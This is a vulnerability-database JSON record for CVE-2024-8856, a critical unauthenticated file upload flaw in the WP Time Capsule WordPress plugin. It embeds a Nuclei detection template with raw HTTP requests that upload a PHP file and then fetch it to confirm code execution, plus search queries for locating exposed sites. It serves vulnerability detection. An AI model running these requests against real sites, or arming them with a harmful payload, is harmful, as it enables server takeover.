{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-8856/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-8856/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-8856/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-8856/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-8856/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-8856"},"sightings":{"href":"/api/v1/sightings/cve-2024-8856"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-8856.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-8856\n\ninfo:\n  name: WP Time Capsule Plugin - Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n  impact: |\n    Unauthenticated attackers can upload arbitrary PHP files to the server through missing file type validation, enabling remote code execution and complete WordPress site compromise.\n  remediation: |\n    Update WP Time Capsule plugin to a version later than 1.22.21 that addresses the arbitrary file upload vulnerability and implements proper file type validation and direct file access prevention.\n  reference:\n    - https://hacked.be/posts/CVE-2024-8856\n    - https://plugins.trac.wordpress.org/browser/wp-time-capsule/trunk/wp-tcapsule-bridge/upload/php/UploadHandler.php\n    - https://plugins.trac.wordpress.org/changeset/3188325/\n    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3153289%40wp-time-capsule&new=3153289%40wp-time-capsule&sfp_email=&sfph_mail=\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/fdc2de78-5601-461f-b2f0-c80b592ccb1b?source=cve\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-8856\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-8856\n    cwe-id: CWE-434\n    epss-score: 0.94004\n    epss-percentile: 0.99843\n  metadata:\n    verified: true\n    max-request: 2\n    fofa-query: body=\"/wp-content/plugins/wp-time-capsule/\"\n    publicwww-query: \"/wp-content/plugins/wp-time-capsule/\"\n  tags: cve,cve2024,intrusive,file-upload,wordpress,wp-plugin,wp,wp-time-capsule,rce,vkev,vuln\n\nvariables:\n  marker: \"{{randstr}}\"\n  filename: \"{{randbase(2)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data;boundary=---------------------------26670583928903275361770089688\n\n        -----------------------------26670583928903275361770089688\n        Content-Disposition: form-data; name=\"files\"; filename=\"{{filename}}.php\"\n        Content-Type: text/php\n\n        <?php echo base64_decode(\"{{base64(marker)}}\"); ?>\n        -----------------------------26670583928903275361770089688--\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'url\":\"'\n          - '\"files\":'\n          - '\"deleteType\":'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}\"\n# digest: 4a0a004730450221008dff56f0d4a796ed0651a9e1996bda6a4e6710c08532e57552a3dd145cec024b022070b0fe0fdca8705aeb2883663da5eecdca6496f13b32d4447726898664e0cb9d:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-8856"}